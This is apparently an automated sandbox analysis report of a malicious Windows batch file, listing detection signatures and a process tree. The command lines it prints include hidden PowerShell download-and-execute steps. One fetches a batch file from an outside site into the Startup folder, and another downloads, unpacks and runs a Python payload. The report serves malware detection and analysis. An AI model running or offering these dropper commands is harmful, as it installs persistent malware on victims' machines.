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Windows
Analysis Report
main1.bat
Overview
General Information
Detection
Abobus Obfuscator
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
Yara detected Abobus Obfuscator
Yara detected Powershell download and execute
AI detected suspicious sample
Drops script or batch files to the startup folder
Found large BAT file
Powershell drops PE file
Sigma detected: Execution from Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: PowerShell DownloadFile
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Suspicious Program Location with Network Connections
Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder
Suspicious powershell command line found
Tries to download and execute files (via powershell)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Dropped file seen in connection with other malware
Drops PE files
Drops certificate files (DER)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Download Pattern
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious PowerShell Download - PoshModule
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
- cmd.exe (PID: 1412 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\main1 .bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6584 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6432 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //pethello kity.site/ update1.ba t', 'C:\Us ers\user\A ppData\Roa ming\\Micr osoft\\Win dows\\Star t Menu\\Pr ograms\\St artup\\Win dowSafetyU serPulic.b at'); MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 7120 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 3856 cmdline:
powershell .exe -Wind owStyle Hi dden -Comm and "[Net. ServicePoi ntManager] ::Security Protocol = [Net.Secu rityProtoc olType]::T ls12; (New -Object -T ypeName Sy stem.Net.W ebClient). DownloadFi le('https: //pethello kity.site/ pogba.zip' , 'C:\User s\Public\\ Document.z ip'); Add- Type -Asse mblyName S ystem.IO.C ompression .FileSyste m; [System .IO.Compre ssion.ZipF ile]::Extr actToDirec tory('C:\U sers\Publi c\\Documen t.zip', 'C :\Users\Pu blic\\Docu ment'); St art-Sleep -Seconds 1 ; C:\Users \Public\\D ocument\\p ython C:\U sers\Publi c\\Documen t\\Lib\\te mp.py; del C:\Users\ Public\\Do cument.zip " MD5: 04029E121A0CFA5991749937DD22A1D9) - conhost.exe (PID: 3148 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - python.exe (PID: 7748 cmdline:
"C:\Users\ Public\Doc ument\pyth on.exe" C: \Users\Pub lic\\Docum ent\\Lib\\ temp.py MD5: A7F3026E4CF239F0A24A021751D17AE2) - cmd.exe (PID: 7812 cmdline:
C:\Windows \system32\ cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - cmd.exe (PID: 7836 cmdline:
C:\Windows \system32\ cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
- cleanup
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_AbobusObfuscator | Yara detected Abobus Obfuscator | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Subhash Popuri (@pbssubhash): |
Source: | Author: Florian Roth (Nextron Systems), Tim Shelton: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |